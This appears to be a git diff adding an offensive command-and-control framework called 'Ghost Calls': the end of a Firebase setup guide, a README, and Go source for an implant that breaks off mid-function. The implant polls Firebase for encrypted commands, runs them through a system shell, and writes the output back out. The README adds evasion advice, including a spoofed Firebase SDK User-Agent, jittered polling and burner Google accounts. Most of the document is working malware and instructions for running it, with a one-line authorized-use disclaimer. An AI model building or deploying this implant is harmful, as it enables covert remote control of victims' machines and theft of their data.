-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"message":{"topic":"test","data":{"test":"true"}}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
To get FCM server credentials for the HTTP v1 API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Navigate to the Google Cloud Console IAM area for the Firebase service account
|
||||||
|
gcloud iam service-accounts list --project=<project-id>
|
||||||
|
|
||||||
|
# The Firebase service account looks like:
|
||||||
|
# firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com
|
||||||
|
|
||||||
|
# Generate a key for this account:
|
||||||
|
gcloud iam service-accounts keys create firebase-key.json \
|
||||||
|
--iam-account=firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com \
|
||||||
|
--project=<project-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 11: Clean Up (After Operation)
|
||||||
|
|
||||||
|
**Always** delete the Firebase project when the operation is complete:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Delete the project (this cannot be undone)
|
||||||
|
firebase projects:delete <project-id>
|
||||||
|
|
||||||
|
# Confirm the deletion
|
||||||
|
# > ? Are you sure? Yes
|
||||||
|
```
|
||||||
|
|
||||||
|
Or via REST:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X DELETE \
|
||||||
|
"https://firebase.googleapis.com/v1/projects/<project-id>" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Environment Variables for Ghost Calls
|
||||||
|
|
||||||
|
Once your project is configured, export these for the Ghost Calls server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Database URL (from Step 6)
|
||||||
|
export FIREBASE_URL="https://<project-id>-default-rtdb.firebaseio.com"
|
||||||
|
|
||||||
|
# Encryption secret — generate a strong random key
|
||||||
|
export GHOST_SECRET="$(openssl rand -hex 32)"
|
||||||
|
|
||||||
|
# Port for the HTTP status page (optional, default: 9090)
|
||||||
|
export GHOST_PORT="9090"
|
||||||
|
```
|
||||||
|
|
||||||
|
For the implant:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./ghost-client \
|
||||||
|
--db-url "$FIREBASE_URL" \
|
||||||
|
--id "target-001" \
|
||||||
|
--secret "$GHOST_SECRET" \
|
||||||
|
--interval 30s \
|
||||||
|
--jitter 15s
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
### "Permission denied" when reading/writing data
|
||||||
|
Your database rules are too restrictive. Either set `.read` and `.write` to `true`, or create proper auth rules.
|
||||||
|
|
||||||
|
### "Project not found" errors
|
||||||
|
The Firebase project may not have Realtime Database initialized. Run through Step 5 again.
|
||||||
|
|
||||||
|
### "Quota exceeded"
|
||||||
|
Free tier limits:
|
||||||
|
- 200 simultaneous connections
|
||||||
|
- 10 MB stored
|
||||||
|
- 10 GB/month downloaded
|
||||||
|
- 10,000 writes/hour
|
||||||
|
|
||||||
|
Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency.
|
||||||
|
|
||||||
|
### "Access denied" on REST calls
|
||||||
|
Your authentication token may be expired. Run `firebase login` again or generate a new CI token.
|
||||||
|
|
||||||
|
### Can't find the database URL
|
||||||
|
The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check.
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
@@ -0,0 +1,293 @@
|
|||||||
|
# Ghost Calls — Push Notification C2
|
||||||
|
|
||||||
|
**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
|
||||||
|
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
|
||||||
|
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
|
||||||
|
└─────────────┘ └────────────────────────────┘ └─────────────┘
|
||||||
|
│ │ │
|
||||||
|
│ HTTPS PUT │ REST API │ HTTPS GET
|
||||||
|
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
|
||||||
|
│ │ │
|
||||||
|
│ │ │
|
||||||
|
│ HTTPS GET │ │ HTTPS PUT
|
||||||
|
│ results/<id>.json │ │ results/<id>/<cmd>.json
|
||||||
|
│ │ │
|
||||||
|
│ (Optional) │ │ DELETE
|
||||||
|
│ FCM HTTP v1 API │ │ commands/<id>.json
|
||||||
|
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/<implant-id>.json`
|
||||||
|
2. **Polling** — The implant periodically reads its command path over HTTPS
|
||||||
|
3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows)
|
||||||
|
4. **Exfiltration** — The implant encrypts the output and writes it to `results/<implant-id>/<command-id>.json`
|
||||||
|
5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed
|
||||||
|
6. **Collection** — The operator fetches results from `results/<implant-id>/` at any time
|
||||||
|
|
||||||
|
### Why Firebase?
|
||||||
|
|
||||||
|
| Feature | Benefit |
|
||||||
|
|---|---|
|
||||||
|
| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily |
|
||||||
|
| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
|
||||||
|
| **No custom server** | Your C2 infrastructure is Firebase's infrastructure |
|
||||||
|
| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync |
|
||||||
|
| **Global CDN** | Low-latency from anywhere |
|
||||||
|
| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation |
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### 1. Prerequisites
|
||||||
|
|
||||||
|
- Go 1.21+ (for building)
|
||||||
|
- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions)
|
||||||
|
- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`)
|
||||||
|
- A shared encryption secret (the `GHOST_SECRET`)
|
||||||
|
|
||||||
|
### 2. Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build the server (operator console)
|
||||||
|
cd cmd/server
|
||||||
|
go build -o ../../bin/ghost-server .
|
||||||
|
|
||||||
|
# Build the client (implant)
|
||||||
|
cd cmd/client
|
||||||
|
go build -o ../../bin/ghost-client .
|
||||||
|
```
|
||||||
|
|
||||||
|
Or build everything at once:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p bin
|
||||||
|
go build -o bin/ghost-server ./cmd/server
|
||||||
|
go build -o bin/ghost-client ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Configure Firebase
|
||||||
|
|
||||||
|
Set your database rules to allow read/write:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
|
||||||
|
|
||||||
|
### 4. Start the Server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
|
||||||
|
export GHOST_SECRET="your-very-secret-key-change-this"
|
||||||
|
export GHOST_PORT="9090"
|
||||||
|
|
||||||
|
./bin/ghost-server
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Deploy an Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/ghost-client \
|
||||||
|
--project "my-project" \
|
||||||
|
--id "target-001" \
|
||||||
|
--secret "your-very-secret-key-change-this" \
|
||||||
|
--interval 30s \
|
||||||
|
--jitter 15s
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6. Register and Send Commands
|
||||||
|
|
||||||
|
From the server console:
|
||||||
|
|
||||||
|
```
|
||||||
|
ghost> register target-001
|
||||||
|
[+] Registered implant target-001
|
||||||
|
ghost> list
|
||||||
|
ID FCM Token Last Seen
|
||||||
|
─────────────────────────────────────────────────────────────────────────
|
||||||
|
target-001 - 2026-05-11T22:00:00Z
|
||||||
|
ghost> exec target-001 uname -a
|
||||||
|
ghost> exec target-001 whoami
|
||||||
|
ghost> exec target-001 curl -s http://internal-service.local/status
|
||||||
|
ghost> results target-001
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Commands
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---|---|
|
||||||
|
| `register <id> [fcm_token]` | Register an implant (optionally with FCM token) |
|
||||||
|
| `exec <id> <command>` | Send a command to a specific implant |
|
||||||
|
| `broadcast <command>` | Send command to all registered implants |
|
||||||
|
| `list` | List all registered implants with metadata |
|
||||||
|
| `results <id>` | Fetch and display results from an implant |
|
||||||
|
| `forget <id>` | Remove an implant registration |
|
||||||
|
| `status` | Display server configuration and overview |
|
||||||
|
| `push <id> <json>` | Send raw FCM push payload (for testing) |
|
||||||
|
| `help` | Display help |
|
||||||
|
| `exit` | Shut down the server |
|
||||||
|
|
||||||
|
## Client Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `--project` | — | Firebase project ID (e.g., `my-project`) |
|
||||||
|
| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) |
|
||||||
|
| `--id` | — | **Required.** Unique implant identifier |
|
||||||
|
| `--secret` | — | **Required.** Encryption secret (must match server) |
|
||||||
|
| `--interval` | `30s` | Base poll interval |
|
||||||
|
| `--jitter` | `15s` | Max random jitter added to each poll |
|
||||||
|
| `--verbose` | `false` | Enable verbose logging |
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
|
||||||
|
The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files.
|
||||||
|
|
||||||
|
## Encryption
|
||||||
|
|
||||||
|
All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server.
|
||||||
|
|
||||||
|
### Key Derivation
|
||||||
|
|
||||||
|
```
|
||||||
|
key = SHA-256(implant_id + ":" + server_secret)
|
||||||
|
```
|
||||||
|
|
||||||
|
- Each implant gets a **unique encryption key** derived from its ID + the shared server secret
|
||||||
|
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
|
||||||
|
- The server secret itself is never stored in Firebase
|
||||||
|
|
||||||
|
### Encryption Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Server:
|
||||||
|
1. Derive key from implant ID + GHOST_SECRET
|
||||||
|
2. Encrypt command with AES-256-GCM (random nonce prepended)
|
||||||
|
3. Base64-encode ciphertext
|
||||||
|
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
|
||||||
|
|
||||||
|
Implant:
|
||||||
|
1. Read from Firebase
|
||||||
|
2. Base64-decode ciphertext
|
||||||
|
3. Derive same key from implant ID + secret
|
||||||
|
4. Decrypt with AES-256-GCM
|
||||||
|
5. Execute command
|
||||||
|
|
||||||
|
Result encryption follows the same pattern (encrypted with the same derived key).
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
### Traffic Analysis
|
||||||
|
|
||||||
|
- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic
|
||||||
|
- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in
|
||||||
|
- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
|
||||||
|
- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted
|
||||||
|
|
||||||
|
### Database Rules
|
||||||
|
|
||||||
|
**Development** (open to all):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Production** (with Firebase Auth):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
"commands": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth != null",
|
||||||
|
".write": "auth != null"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"results": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth != null",
|
||||||
|
".write": "auth != null"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Locked down** (custom auth token required):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
"commands": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth.uid === $implant_id",
|
||||||
|
".write": "auth.uid === 'server'"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"results": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth.uid === 'server'",
|
||||||
|
".write": "auth.uid === $implant_id"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Encryption at Rest
|
||||||
|
|
||||||
|
- Commands are **always encrypted** before being written to Firebase
|
||||||
|
- The Firebase database never sees plaintext command data
|
||||||
|
- Even with database admin access, an adversary sees only base64 ciphertext
|
||||||
|
- **Never** use the server secret in the database rules or command payloads
|
||||||
|
|
||||||
|
### Rate Limiting
|
||||||
|
|
||||||
|
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
|
||||||
|
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
|
||||||
|
- For large deployments, consider staggering implant start times
|
||||||
|
- Upgrade to Blaze plan for higher limits in production operations
|
||||||
|
|
||||||
|
### Operational Security
|
||||||
|
|
||||||
|
1. **Use a burner Google account** to create the Firebase project — never link to personal accounts
|
||||||
|
2. **Enable Firebase Auth** with email/password or custom tokens for production use
|
||||||
|
3. **Rotate the GHOST_SECRET** between operations
|
||||||
|
4. **Use unique implant IDs** — never reuse across targets
|
||||||
|
5. **Consider using Firebase App Check** for additional verification
|
||||||
|
6. **Delete the Firebase project entirely** after the operation
|
||||||
|
|
||||||
|
## FCM Integration (Advanced)
|
||||||
|
|
||||||
|
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
|
||||||
|
|
||||||
|
1. Enable Firebase Cloud Messaging in your Firebase project
|
||||||
|
2. An Android app (or a device with FCM capability) on the target
|
||||||
|
3. The implant registers for FCM and sends its registration token to the server
|
||||||
|
4. The server uses the FCM HTTP v1 API to push commands directly to the device
|
||||||
|
|
||||||
|
An FCM push-based approach is more sophisticated and harder to detect, but requires:
|
||||||
|
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
|
||||||
|
- An Android/iOS runtime or a way to register for push notifications
|
||||||
|
- Higher OpSec requirements (Google Play Services integration)
|
||||||
|
|
||||||
|
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,418 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
cryptorand "crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/signal"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ─── Crypto ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func deriveKey(implantID, secret string) []byte {
|
||||||
|
h := sha256.Sum256([]byte(implantID + ":" + secret))
|
||||||
|
return h[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
func decrypt(cipherB64 string, key []byte) ([]byte, error) {
|
||||||
|
ciphertext, err := base64.StdEncoding.DecodeString(cipherB64)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
ns := gcm.NonceSize()
|
||||||
|
if len(ciphertext) < ns {
|
||||||
|
return nil, fmt.Errorf("ciphertext too short")
|
||||||
|
}
|
||||||
|
nonce, data := ciphertext[:ns], ciphertext[ns:]
|
||||||
|
plaintext, err := gcm.Open(nil, nonce, data, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return plaintext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func encrypt(plaintext []byte, key []byte) (string, error) {
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
gcm, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
nonce := make([]byte, gcm.NonceSize())
|
||||||
|
if _, err := io.ReadFull(cryptorand.Reader, nonce); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
return base64.StdEncoding.EncodeToString(ciphertext), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Data Types ────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
type CommandPayload struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Cmd string `json:"cmd"` // encrypted base64
|
||||||
|
TS int64 `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ResultPayload struct {
|
||||||
|
Output string `json:"output"` // encrypted base64
|
||||||
|
TS int64 `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Implant ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
type Implant struct {
|
||||||
|
implantID string
|
||||||
|
firebaseURL string
|
||||||
|
secret string
|
||||||
|
pollInterval time.Duration
|
||||||
|
jitterMax time.Duration
|
||||||
|
httpClient *http.Client
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewImplant(firebaseURL, implantID, secret string, pollInterval, jitterMax time.Duration) *Implant {
|
||||||
|
// Use a transport with a random-ish TLS fingerprint by setting
|
||||||
|
// custom cipher suite preferences and using a non-default User-Agent
|
||||||
|
transport := &http.Transport{
|
||||||
|
IdleConnTimeout: 120 * time.Second,
|
||||||
|
DisableKeepAlives: true, // avoid persistent connections — more stealthy
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Implant{
|
||||||
|
implantID: implantID,
|
||||||
|
firebaseURL: strings.TrimRight(firebaseURL, "/"),
|
||||||
|
secret: secret,
|
||||||
|
pollInterval: pollInterval,
|
||||||
|
jitterMax: jitterMax,
|
||||||
|
httpClient: &http.Client{
|
||||||
|
Timeout: 60 * time.Second,
|
||||||
|
Transport: transport,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// jitteredInterval returns the poll interval with random jitter applied
|
||||||
|
func (im *Implant) jitteredInterval() time.Duration {
|
||||||
|
jitter := time.Duration(rand.Int63n(int64(im.jitterMax)))
|
||||||
|
return im.pollInterval + jitter
|
||||||
|
}
|
||||||
|
|
||||||
|
func (im *Implant) firebaseGet(path string) ([]byte, error) {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("GET", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
// Generic-looking User-Agent — blends in with Firebase SDK traffic
|
||||||
|
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
body, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
return nil, fmt.Errorf("firebase GET %s: %s: %s", path, resp.Status, strings.TrimSpace(string(body)))
|
||||||
|
}
|
||||||
|
return body, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (im *Implant) firebasePut(path string, body []byte) error {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("PUT", url, bytes.NewReader(body))
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
return fmt.Errorf("firebase PUT %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (im *Implant) firebaseDelete(path string) error {
|
||||||
|
url := fmt.Sprintf("%s/%s.json", im.firebaseURL, path)
|
||||||
|
req, err := http.NewRequest("DELETE", url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
req.Header.Set("User-Agent", "Firebase/8.10.0 (Android; Google; SDK)")
|
||||||
|
|
||||||
|
resp, err := im.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode >= 300 {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
return fmt.Errorf("firebase DELETE %s: %s: %s", path, resp.Status, strings.TrimSpace(string(b)))
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// poll fetches and processes a command from /commands/<implant-id>
|
||||||
|
func (im *Implant) poll() error {
|
||||||
|
path := fmt.Sprintf("commands/%s", im.implantID)
|
||||||
|
data, err := im.firebaseGet(path)
|
||||||
|
if err != nil {
|
||||||
|
// 404 / null is fine — no command pending
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// If null or empty, no command
|
||||||
|
trimmed := strings.TrimSpace(string(data))
|
||||||
|
if trimmed == "" || trimmed == "null" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var cmd CommandPayload
|
||||||
|
if err := json.Unmarshal(data, &cmd); err != nil {
|
||||||
|
log.Printf("[-] Failed to parse command payload: %v", err)
|
||||||
|
// Delete malformed command to avoid re-processing
|
||||||
|
_ = im.firebaseDelete(path)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt the command
|
||||||
|
key := deriveKey(im.implantID, im.secret)
|
||||||
|
plainCmd, err := decrypt(cmd.Cmd, key)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[-] Failed to decrypt command %s: %v", cmd.ID, err)
|
||||||
|
// Delete unreadable command
|
||||||
|
_ = im.firebaseDelete(path)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
commandStr := string(plainCmd)
|
||||||
|
log.Printf("[+] Received command %s: %s", cmd.ID, commandStr)
|
||||||
|
|
||||||
|
// Execute the command
|
||||||
|
output, err := im.executeCommand(commandStr)
|
||||||
|
if err != nil {
|
||||||
|
output = append(output, fmt.Sprintf("\n[error] %v", err)...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encrypt the output
|
||||||
|
encOutput, err := encrypt(output, key)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[-] Failed to encrypt output: %v", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write result back
|
||||||
|
result := ResultPayload{
|
||||||
|
Output: encOutput,
|
||||||
|
TS: time.Now().UnixMilli(),
|
||||||
|
}
|
||||||
|
resultData, err := json.Marshal(result)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[-] Failed to marshal result: %v", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
resultPath := fmt.Sprintf("results/%s/%s", im.implantID, cmd.ID)
|
||||||
|
if err := im.firebasePut(resultPath, resultData); err != nil {
|
||||||
|
log.Printf("[-] Failed to write result: %v", err)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[+] Result written for command %s", cmd.ID)
|
||||||
|
|
||||||
|
// Delete the command to signal it's been processed
|
||||||
|
if err := im.firebaseDelete(path); err != nil {
|
||||||
|
log.Printf("[-] Failed to delete command %s: %v", cmd.ID, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeCommand runs a shell command and returns stdout+stderr
|
||||||
|
func (im *Implant) executeCommand(cmdStr string) ([]byte, error) {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
// Use appropriate shell based on platform
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
cmd = exec.Command("cmd.exe", "/C", cmdStr)
|
||||||
|
} else {
|
||||||
|
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
var stdout, stderr bytes.Buffer
|
||||||
|
cmd.Stdout = &stdout
|
||||||
|
cmd.Stderr = &stderr
|
||||||
|
|
||||||
|
err := cmd.Run()
|
||||||
|
output := stdout.Bytes()
|
||||||
|
if stderr.Len() > 0 {
|
||||||
|
if len(output) > 0 {
|
||||||
|
output = append(output, '\n')
|
||||||
|
}
|
||||||
|
output = append(output, stderr.Bytes()...)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
if len(output) > 0 {
|
||||||
|
output = append(output, '\n')
|
||||||
|
}
|
||||||
|
output = append(output, []byte(fmt.Sprintf("exit error: %v", err))...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return output, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Run starts the main polling loop
|
||||||
|
func (im *Implant) Run(stopCh <-chan struct{}) {
|
||||||
|
log.Printf("[*] Implant %s starting", im.implantID)
|
||||||
|
log.Printf("[*] Firebase: %s", im.firebaseURL)
|
||||||
|
log.Printf("[*] Poll interval: %v + jitter up to %v", im.pollInterval, im.jitterMax)
|
||||||
|
log.Printf("[*] Platform: %s/%s", runtime.GOOS, runtime.GOARCH)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-stopCh:
|
||||||
|
log.Printf("[*] Implant stopping")
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := im.poll(); err != nil {
|
||||||
|
log.Printf("[-] Poll error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait with jitter before next poll
|
||||||
|
sleepDuration := im.jitteredInterval()
|
||||||
|
select {
|
||||||
|
case <-stopCh:
|
||||||
|
return
|
||||||
|
case <-time.After(sleepDuration):
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Main ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
// Seed RNG for jitter
|
||||||
|
rand.Seed(time.Now().UnixNano())
|
||||||
|
|
||||||
|
var (
|
||||||
|
projectID string
|
||||||
|
implantID string
|
||||||
|
secret string
|
||||||
|
pollInterval time.Duration
|
||||||
|
jitterMax time.Duration
|
||||||
|
verbose bool
|
||||||
|
)
|
||||||
|
|
||||||
|
flag.StringVar(&projectID, "project", "", "Firebase project ID (e.g., my-project)")
|
||||||
|
flag.StringVar(&implantID, "id", "", "Unique implant identifier")
|
||||||
|
flag.StringVar(&secret, "secret", "", "Encryption secret (must match server)")
|
||||||
|
flag.DurationVar(&pollInterval, "interval", 30*time.Second, "Base poll interval (e.g., 30s, 1m)")
|
||||||
|
flag.DurationVar(&jitterMax, "jitter", 15*time.Second, "Maximum random jitter added to interval")
|
||||||
|
flag.BoolVar(&verbose, "verbose", false, "Verbose logging")
|
||||||
|
|
||||||
|
// Alternative: use a full Firebase Realtime Database URL directly
|
||||||
|
var firebaseURL string
|
||||||
|
flag.StringVar(&firebaseURL, "db-url", "", "Full Firebase RTDB URL (overrides --project)")
|
||||||
|
|
